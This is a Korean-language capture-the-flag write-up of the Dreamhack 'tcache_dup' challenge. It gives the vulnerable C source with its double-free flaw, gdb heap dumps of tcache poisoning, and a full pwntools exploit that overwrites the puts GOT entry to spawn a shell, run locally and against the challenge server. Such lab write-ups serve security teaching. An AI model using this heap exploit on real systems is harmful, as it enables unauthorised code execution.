// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if(cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if(!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while(1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
코드부터 분석해보자.
main 함수에서 메뉴가 2개 있는데, 1은 create 함수 실행 뒤 cnt를 1 더한다, 2는 delete 함수를 실행한다.
create 함수는 size를 입력 받고, ptr에 할당된 주소를 return 받은 뒤 data를 입력 받아 저장한다.
하지만 cnt 변수로 횟수를 제한하고 있으며, 총 10번의 할당이 가능하다.
delete 함수는 idx를 입력 받아 해당 값을 free 한다.
마지막으로 사용되지 않는 함수가 있는데 get_shell으로 셀을 실행시킨다.
대략 어디던 get_shell 함수의 주소를 넣고 이를 실행시키면 되는데, 어디에 어떻게 넣는가가 관건이다.
이번에는 patchelf를 통해 libc patch 후 시도해보자.
ld 파일은 md5sum을 통해 인터넷 검색으로 쉽게 찾았다.
──(kali㉿kali)-[~/Downloads]
└─$ md5sum libc-2.27.so
50390b2ae8aaa73c47745040f54e602f libc-2.27.so
tcache poisoning test부터 해보자.
할당 -> free -> free를 통해 tcache 영역에 값을 쌓아두고, 다시 할당 시 tcache에 삽입할 주소를 데이터로 넣은 뒤 다시 할당하면 된다.
이를 gdb로 보면
우선 할당 -> free -> free
#할당
Continuing.
1. Create
2. Delete
> 1
Size: 16
Data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
...
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x6161616161616161 0x6161616161616161
0x602270: 0x0000000000000000 0x0000000000020d91
#free
Continuing.
1. Create
2. Delete
> 2
idx: 0
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0000000000000001 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000602260 0x0000000000000000
...
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x0000000000000000 0x6161616161616161
0x602270: 0x0000000000000000 0x0000000000020d91
#free
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0000000000000002 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000602260 0x0000000000000000
...
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x0000000000602260 0x6161616161616161
0x602270: 0x0000000000000000 0x0000000000020d91
다시 할당하며 주소로 사용할 값을 넣고
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0000000000000001 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000602260 0x0000000000000000
...
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x6262626262626262 0x6262626262626262
0x602270: 0x0000000000000000 0x0000000000020d91
여기서 다시 할당하면 fd 값이 tcache에 들어간다.
gef➤ x/40gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x6262626262626262 0x0000000000000000
...
0x602250: 0x0000000000000000 0x0000000000000021
0x602260: 0x6464646464646464 0x6464646464646464
0x602270: 0x0000000000000000 0x0000000000020d91
이제 tcache에 값이 들어가는 것을 확인하였으니 어디에 값을 쓸지 보자.
이 프로그램에서 사용되는 함수는 아래와 같고
gef➤ info func
All defined functions:
Non-debugging symbols:
0x00000000004006f8 _init
0x0000000000400730 free@plt
0x0000000000400740 puts@plt
0x0000000000400750 __stack_chk_fail@plt
0x0000000000400760 system@plt
0x0000000000400770 printf@plt
0x0000000000400780 alarm@plt
0x0000000000400790 read@plt
0x00000000004007a0 __libc_start_main@plt
0x00000000004007b0 signal@plt
0x00000000004007c0 malloc@plt
0x00000000004007d0 setvbuf@plt
0x00000000004007e0 __isoc99_scanf@plt
0x00000000004007f0 exit@plt
0x0000000000400800 __gmon_start__@plt
0x0000000000400810 _start
0x0000000000400840 deregister_tm_clones
0x0000000000400880 register_tm_clones
0x00000000004008c0 __do_global_dtors_aux
0x00000000004008e0 frame_dummy
0x0000000000400906 alarm_handler
0x0000000000400914 initialize
0x0000000000400970 create
0x0000000000400a3a delete
0x0000000000400ab0 get_shell
0x0000000000400ac1 main
0x0000000000400b50 __libc_csu_init
0x0000000000400bc0 __libc_csu_fini
0x0000000000400bc4 _fini
main 함수에서 메뉴를 출력해주는 함수로 puts를 사용하므로
gef➤ disas main
Dump of assembler code for function main:
0x0000000000400ac1 <+0>: push %rbp
0x0000000000400ac2 <+1>: mov %rsp,%rbp
0x0000000000400ac5 <+4>: sub $0x10,%rsp
0x0000000000400ac9 <+8>: mov %fs:0x28,%rax
0x0000000000400ad2 <+17>: mov %rax,-0x8(%rbp)
0x0000000000400ad6 <+21>: xor %eax,%eax
0x0000000000400ad8 <+23>: movl $0x0,-0xc(%rbp)
0x0000000000400adf <+30>: mov $0x0,%eax
0x0000000000400ae4 <+35>: call 0x400914 <initialize>
0x0000000000400ae9 <+40>: mov $0x400bf3,%edi
0x0000000000400aee <+45>: call 0x400740 <puts@plt>
0x0000000000400af3 <+50>: mov $0x400bfd,%edi
0x0000000000400af8 <+55>: call 0x400740 <puts@plt>
0x0000000000400afd <+60>: mov $0x400c07,%edi
0x0000000000400b02 <+65>: mov $0x0,%eax
0x0000000000400b07 <+70>: call 0x400770 <printf@plt>
0x0000000000400b0c <+75>: lea -0x10(%rbp),%rax
0x0000000000400b10 <+79>: mov %rax,%rsi
0x0000000000400b13 <+82>: mov $0x400bdb,%edi
0x0000000000400b18 <+87>: mov $0x0,%eax
0x0000000000400b1d <+92>: call 0x4007e0 <__isoc99_scanf@plt>
0x0000000000400b22 <+97>: mov -0x10(%rbp),%eax
0x0000000000400b25 <+100>: cmp $0x1,%eax
0x0000000000400b28 <+103>: je 0x400b31 <main+112>
0x0000000000400b2a <+105>: cmp $0x2,%eax
0x0000000000400b2d <+108>: je 0x400b41 <main+128>
0x0000000000400b2f <+110>: jmp 0x400b4c <main+139>
0x0000000000400b31 <+112>: mov -0xc(%rbp),%eax
0x0000000000400b34 <+115>: mov %eax,%edi
0x0000000000400b36 <+117>: call 0x400970 <create>
0x0000000000400b3b <+122>: addl $0x1,-0xc(%rbp)
0x0000000000400b3f <+126>: jmp 0x400b4c <main+139>
0x0000000000400b41 <+128>: mov $0x0,%eax
0x0000000000400b46 <+133>: call 0x400a3a <delete>
0x0000000000400b4b <+138>: nop
0x0000000000400b4c <+139>: jmp 0x400ae9 <main+40>
End of assembler dump.
puts got에 덮어씌워보자.
(free_hook을 생각할 수 있는데, 이 문제는 memory leak이 불가능하기에 got에 쓰려한다.)
이를 기준으로 코드를 작성해보면 아래와 같다.
from pwn import *
p = process('./tcache_dup')
e = ELF('./tcache_dup')
def crt(size,data):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def dlt(idx):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b': ',idx)
#double free
crt(b'16',b'a')
dlt(b'0')
dlt(b'0')
puts_got = e.got['puts']
get_shell_add = e.symbols['get_shell']
#tcache poisoning
crt(b'16',p64(puts_got))
crt(b'16',b'a')
#overwrite get_shell address to puts_got
crt(b'8',p64(get_shell_add))
p.interactive()
실행해보니
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Starting local process './tcache_dup': pid 23867
[*] '/home/kali/Downloads/tcache_dup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[*] '/home/kali/Downloads/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),133(scanner),141(kaboxer)
셀이 잘 실행된다.
서버에 시도.
from pwn import *
p = remote('host3.dreamhack.games',16038)
#p = process('./tcache_dup')
e = ELF('./tcache_dup')
def crt(size,data):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',size)
p.sendafter(b': ',data)
def dlt(idx):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b': ',idx)
#double free
crt(b'16',b'a')
dlt(b'0')
dlt(b'0')
puts_got = e.got['puts']
get_shell_add = e.symbols['get_shell']
#tcache poisoning
crt(b'16',p64(puts_got))
crt(b'16',b'a')
#overwrite get_shell address to puts_got
crt(b'8',p64(get_shell_add))
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 16038: Done
[*] '/home/kali/Downloads/tcache_dup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
[*] Switching to interactive mode
$ id
uid=1000(tcache_dup) gid=1000(tcache_dup) groups=1000(tcache_dup)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
sint (0) | 2022.08.04 |
---|---|
tcache_dup2 (0) | 2022.08.03 |
Tcache Poisoning (0) | 2022.08.02 |
uaf_overwrite (0) | 2022.08.01 |
basic_exploitation_003 (0) | 2022.08.01 |